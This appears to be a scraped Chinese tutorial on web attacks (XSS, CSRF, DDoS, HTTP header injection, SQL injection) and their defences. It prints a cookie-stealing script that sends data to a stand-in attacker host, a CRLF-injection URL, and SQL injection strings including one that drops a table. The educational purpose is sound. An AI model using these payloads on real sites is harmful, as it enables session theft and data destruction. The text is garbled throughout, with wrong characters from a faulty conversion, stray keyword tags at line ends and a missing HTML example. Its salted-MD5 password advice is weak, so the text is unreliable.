跨站腳本攻擊(XSS)
概述
跨站腳本攻擊（XSS，Cross-site scripting），指攻擊者在網頁中嵌入惡意腳本程序，是最多見和基本的攻擊WEB網站的方法。攻擊者在網頁上發佈包含攻擊性代碼的數據。當瀏覽者看到此網頁時，特定的腳本就會以瀏覽者用戶的身份和權限來執行。經過XSS能夠比較容易地修改用戶數據、竊取用戶信息，以及形成其它類型的攻擊，例如CSRF攻擊javascript
案例
好比論壇，而後攻擊者在某條帖子內發佈回覆，內容是這樣的 <script>window.open(「www.gongji.com?param=」+document.cookie) </script> ,若是我沒有對他的內容進行處理，直接存儲到數據庫，那麼下一次當其餘用戶訪問他的這篇文章的時候，服務器從數據庫讀取後而後響應給客戶端，瀏覽器執行了這段腳本，而後就把該用戶的cookie發送到攻擊者的服務器了。php
解決方法
將輸入可能當作腳本執行的進行轉義，例如 將< 轉義成<java
跨站請求僞造攻擊（CSRF)
概述
跨站請求僞造（CSRF，Cross-site request forgery）是另外一種常見的攻擊。攻擊者經過各類方法僞造一個請求，模仿用戶提交表單的行爲，從而達到修改用戶的數據，或者執行特定任務的目的。爲了假冒用戶的身份，CSRF攻擊經常和XSS攻擊配合起來作，但也能夠經過其它手段，例如誘使用戶點擊一個包含攻擊的連接sql
案例
銀行網站A，它以GET請求來完成銀行轉帳的操做，如：http://www.mybank.com/Transfer.php?toBankId=11&money=1000數據庫
危險網站B，它裏面有一段HTML的代碼以下：後端
首先，你登陸了銀行網站A，而後訪問危險網站B，噢，這時你會發現你的銀行帳戶少了1000塊......瀏覽器
爲何會這樣呢？緣由是銀行網站A違反了HTTP規範，使用GET請求更新資源。在訪問危險網站B的以前，你已經登陸了銀行網站A，而B中 的<img>以GET的方式請求第三方資源（這裏的第三方就是指銀行網站了，本來這是一個合法的請求，但這裏被不法分子利用了），因此你的瀏 覽器會帶上你的銀行網站A的Cookie發出Get請求，去獲取資源「http://www.mybank.com /Transfer.php?toBankId=11&money=1000」，結果銀行網站服務器收到請求後，認爲這是一個更新資源操做（轉帳 操做），因此就馬上進行轉帳操做......服務器
解決方法
一、採用POST請求（後端也設置成只能post請求）,增長攻擊的難度.用戶點擊一個連接就能夠發起GET類型的請求。而POST請求相對比較難，攻擊者每每須要藉助javascript才能實現cookie
二、之因此被攻擊是由於攻擊者利用了存儲在瀏覽器用於用戶認證的cookie，那麼若是咱們不用cookie來驗證不就能夠預防了。因此咱們能夠採用token（不存儲於瀏覽器）認證。網絡
DDOS攻擊
概述
分佈式拒絕服務攻擊（Distributed Denial of Service），簡單說就是發送大量請求是使服務器癱瘓。DDos攻擊是在DOS攻擊基礎上的，能夠通俗理解，dos是單挑，而ddos是羣毆，由於現代技術的發展，dos攻擊的殺傷力下降，因此出現了DDOS，攻擊者藉助公共網絡，將大數量的計算機設備聯合起來，向一個或多個目標進行攻擊。
案例
簡單說一下tcp三次握手，客戶端先服務器發出請求，請求創建鏈接，而後服務器返回一個報文，代表請求以被接受，而後客戶端也會返回一個報文，最後創建鏈接。那麼若是有這麼一種狀況，攻擊者僞造ip地址，發出報文給服務器請求鏈接，這個時候服務器接受到了，根據tcp三次握手的規則，服務器也要回應一個報文，但是這個ip是僞造的，報文迴應給誰呢，第二次握手出現錯誤，第三次天然也就不能順利進行了，這個時候服務器收不到第三次握手時客戶端發出的報文，又再重複第二次握手的操做。若是攻擊者僞造了大量的ip地址併發出請求，這個時候服務器將維護一個很是大的半鏈接等待列表，佔用了大量的資源，最後服務器癱瘓。
解決方法
一、最直接的方法增長帶寬。可是攻擊者用各地的電腦進行攻擊，他的帶寬不會耗費不少錢，但對於服務器來講，帶寬很是昂貴。
二、雲服務提供商有本身的一套完整DDoS解決方案，而且能提供豐富的帶寬資源
Http Heads攻擊
概述
凡是用瀏覽器查看任何WEB網站，不管你的WEB網站採用何種技術和框架，都用到了HTTP協議.HTTP協議在Response header和content之間，有一個空行，即兩組CRLF（0x0D 0A）字符。這個空行標誌着headers的結束和content的開始。「聰明」的攻擊者能夠利用這一點。只要攻擊者有辦法將任意字符「注入」到 headers中，這種攻擊就能夠發生
案例
以登錄爲例:有這樣一個url:
http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex
當登陸成功之後，須要重定向回page參數所指定的頁面。下面是重定向發生時的response headers.
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://localhost/index
假如把URL修改一下，變成這個樣子： http://localhost/loginpage=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E
那麼重定向發生時的reponse會變成下面的樣子：
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://localhost/checkout<CRLF>
<CRLF>
<script>alert('hello')</script>
這個頁面可能會意外地執行隱藏在URL中的javascript。相似的狀況不只發生在重定向（Location header）上，也有可能發生在其它headers中，如Set-Cookie header。這種攻擊若是成功的話，能夠作不少事，例如：執行腳本、設置額外的cookie（<CRLF>Set-Cookie: evil=value）等。
解決方法
過濾全部的response headers，除去header中出現的非法字符，尤爲是CRLF。
服務器通常會限制request headers的大小。例如Apache server默認限制request header爲8K。若是超過8K，Aapche Server將會返回400 Bad Request響應
對於大多數狀況，8K是足夠大的。假設應用程序把用戶輸入的某內容保存在cookie中,就有可能超過8K.攻擊者把超過8k的header連接發給受害者,就會被服務器拒絕訪問.解決辦法就是檢查cookie的大小,限制新cookie的總大寫，減小因header過大而產生的拒絕訪問攻擊
SQL注入
概念
經過sql命令假裝成正常的http請求參數，傳遞到服務器端，服務器執行sql命令形成對數據庫進行攻擊
案例
' or '1'= '1。這是最多見的sql注入攻擊，當咱們輸如用戶名 jiajun ，而後密碼輸如'or '1'= '1的時候，咱們在查詢用戶名和密碼是否正確的時候，原本要執行的是select * from user where username='' and password='',通過參數拼接後，會執行sql語句 select * from user where username='jaijun' and password=' ' or ' 1'='1 '，這個時候1=1是成立，天然就跳過驗證了。
可是若是再嚴重一點，密碼輸如的是';drop table user;--，那麼sql命令爲select * from user where username='jiajun' and password='';drop table user;--' 這個時候咱們就直接把這個表給刪除了
被攻擊的緣由
sql語句僞造參數，而後在對參數進行拼接的後造成破壞性的sql語句，最後致使數據庫受到攻擊
預防
在java中，咱們可使用預編譯語句(PreparedStatement)，這樣的話即便咱們使用sql語句僞形成參數，到了服務端的時候，這個僞造sql語句的參數也只是簡單的字符，並不能起到攻擊的做用。
不少orm框架已經能夠對參數進行轉義
作最壞的打算，即便被’拖庫‘('脫褲，數據庫泄露')。數據庫中密碼不該明文存儲的，能夠對密碼使用md5進行加密，爲了加大破解成本，因此能夠採用加鹽的（數據庫存儲用戶名，鹽（隨機字符長），md5後的密文）方式。